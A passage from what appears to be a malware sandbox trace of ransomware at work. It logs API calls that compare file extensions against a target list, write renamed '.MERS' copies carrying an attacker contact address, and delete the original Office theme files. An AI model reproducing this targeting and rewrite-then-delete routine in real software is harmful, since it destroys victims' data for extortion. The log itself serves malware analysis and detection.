lpString2=".GIF") returned 1 [0048.881] lstrlenW (lpString=".xlsx") returned 5 [0048.881] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.881] lstrlenW (lpString=".ppt") returned 4 [0048.881] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.881] lstrlenW (lpString=".zip") returned 4 [0048.881] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.881] lstrlenW (lpString=".rar") returned 4 [0048.881] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.881] lstrlenW (lpString=".bz2") returned 4 [0048.881] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.881] lstrlenW (lpString=".7z") returned 3 [0048.881] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.881] lstrlenW (lpString=".dbf") returned 4 [0048.881] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.881] lstrlenW (lpString=".1cd") returned 4 [0048.882] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString=".jpg") returned 4 [0048.882] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString=".doc") returned 4 [0048.882] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.882] lstrlenW (lpString=".docx") returned 5 [0048.882] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.882] lstrlenW (lpString=".pdf") returned 4 [0048.882] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.882] lstrlenW (lpString=".xls") returned 4 [0048.882] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.882] lstrlenW (lpString=".xlsx") returned 5 [0048.882] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.882] lstrlenW (lpString=".ppt") returned 4 [0048.882] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString=".zip") returned 4 [0048.882] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.882] lstrlenW (lpString=".rar") returned 4 [0048.882] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.882] lstrlenW (lpString=".bz2") returned 4 [0048.882] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.882] lstrlenW (lpString=".7z") returned 3 [0048.882] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString=".dbf") returned 4 [0048.882] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString=".1cd") returned 4 [0048.882] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0048.882] lstrlenW (lpString=".jpg") returned 4 [0048.882] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.883] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.883] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.964] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=48115) returned 1 [0048.964] CloseHandle (hObject=0x1d4) returned 1 [0048.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0048.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0048.964] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.964] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.965] GetLastError () returned 0x0 [0048.965] ReadFile (in: hFile=0x1d4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0049.295] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0049.297] ReadFile (in: hFile=0x1d4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.297] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.297] SetEndOfFile (hFile=0x1e8) returned 1 [0049.297] CloseHandle (hObject=0x1e8) returned 1 [0049.297] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.298] SetEndOfFile (hFile=0x1d4) returned 1 [0049.298] CloseHandle (hObject=0x1d4) returned 1 [0049.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.299] lstrlenW (lpString=".doc") returned 4 [0049.299] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString=".docx") returned 5 [0049.299] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.299] lstrlenW (lpString=".pdf") returned 4 [0049.299] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString=".xls") returned 4 [0049.299] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString=".xlsx") returned 5 [0049.299] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.299] lstrlenW (lpString=".ppt") returned 4 [0049.299] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.299] lstrlenW (lpString=".zip") returned 4 [0049.299] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString=".rar") returned 4 [0049.299] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.299] lstrlenW (lpString=".bz2") returned 4 [0049.299] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.299] lstrlenW (lpString=".7z") returned 3 [0049.299] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.299] lstrlenW (lpString=".dbf") returned 4 [0049.300] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString=".1cd") returned 4 [0049.300] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString=".jpg") returned 4 [0049.300] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString=".doc") returned 4 [0049.300] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString=".docx") returned 5 [0049.300] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.300] lstrlenW (lpString=".pdf") returned 4 [0049.300] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString=".xls") returned 4 [0049.300] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString=".xlsx") returned 5 [0049.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.300] lstrlenW (lpString=".ppt") returned 4 [0049.300] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString=".zip") returned 4 [0049.300] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString=".rar") returned 4 [0049.300] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.300] lstrlenW (lpString=".bz2") returned 4 [0049.300] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString=".7z") returned 3 [0049.300] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString=".dbf") returned 4 [0049.300] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.300] lstrlenW (lpString=".1cd") returned 4 [0049.300] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0049.301] lstrlenW (lpString=".jpg") returned 4 [0049.301] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.301] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.301] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.729] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=21745) returned 1 [0049.729] CloseHandle (hObject=0x17c) returned 1 [0049.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0049.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.730] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.730] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.730] GetLastError () returned 0x0 [0049.730] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0049.732] WriteFile (in: hFile=0x180, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0049.733] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.733] WriteFile (in: hFile=0x180, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.733] SetEndOfFile (hFile=0x180) returned 1 [0049.733] CloseHandle (hObject=0x180) returned 1 [0049.733] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.734] SetEndOfFile (hFile=0x17c) returned 1 [0049.734] CloseHandle (hObject=0x17c) returned 1 [0049.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.735] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0049.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.735] lstrlenW (lpString=".doc") returned 4 [0049.735] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.735] lstrlenW (lpString=".docx") returned 5 [0049.735] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.735] lstrlenW (lpString=".pdf") returned 4 [0049.735] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.735] lstrlenW (lpString=".xls") returned 4 [0049.735] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.735] lstrlenW (lpString=".xlsx") returned 5 [0049.735] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.735] lstrlenW (lpString=".ppt") returned 4 [0049.735] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.735] lstrlenW (lpString=".zip") returned 4 [0049.735] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.735] lstrlenW (lpString=".rar") returned 4 [0049.735] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.736] lstrlenW (lpString=".bz2") returned 4 [0049.736] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString=".7z") returned 3 [0049.736] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.736] lstrlenW (lpString=".dbf") returned 4 [0049.736] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.736] lstrlenW (lpString=".1cd") returned 4 [0049.736] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.736] lstrlenW (lpString=".jpg") returned 4 [0049.736] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.736] lstrlenW (lpString=".doc") returned 4 [0049.736] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString=".docx") returned 5 [0049.736] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.736] lstrlenW (lpString=".pdf") returned 4 [0049.736] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString=".xls") returned 4 [0049.736] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.736] lstrlenW (lpString=".xlsx") returned 5 [0049.736] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.736] lstrlenW (lpString=".ppt") returned 4 [0049.736] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.736] lstrlenW (lpString=".zip") returned 4 [0049.736] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.736] lstrlenW (lpString=".rar") returned 4 [0049.736] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.736] lstrlenW (lpString=".bz2") returned 4 [0049.736] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.736] lstrlenW (lpString=".7z") returned 3 [0049.736] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.737] lstrlenW (lpString=".dbf") returned 4 [0049.737] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.737] lstrlenW (lpString=".1cd") returned 4 [0049.737] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0049.737] lstrlenW (lpString=".jpg") returned 4 [0049.737] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.737] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.737] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.737] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=37112) returned 1 [0049.737] CloseHandle (hObject=0x17c) returned 1 [0049.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0049.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0049.738] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.738] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.738] GetLastError () returned 0x0 [0049.738] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0049.775] WriteFile (in: hFile=0x180, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0049.797] ReadFile (in: hFile=0x17c, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.797] WriteFile (in: hFile=0x180, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.797] SetEndOfFile (hFile=0x180) returned 1 [0049.797] CloseHandle (hObject=0x180) returned 1 [0049.797] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.797] SetEndOfFile (hFile=0x17c) returned 1 [0049.798] CloseHandle (hObject=0x17c) returned 1 [0049.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0049.799] lstrlenW (lpString=".doc") returned 4 [0049.799] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.799] lstrlenW (lpString=".docx") returned 5 [0049.799] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.799] lstrlenW (lpString=".pdf") returned 4 [0049.799] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.799] lstrlenW (lpString=".xls") returned 4 [0049.799] lstrcmpiW 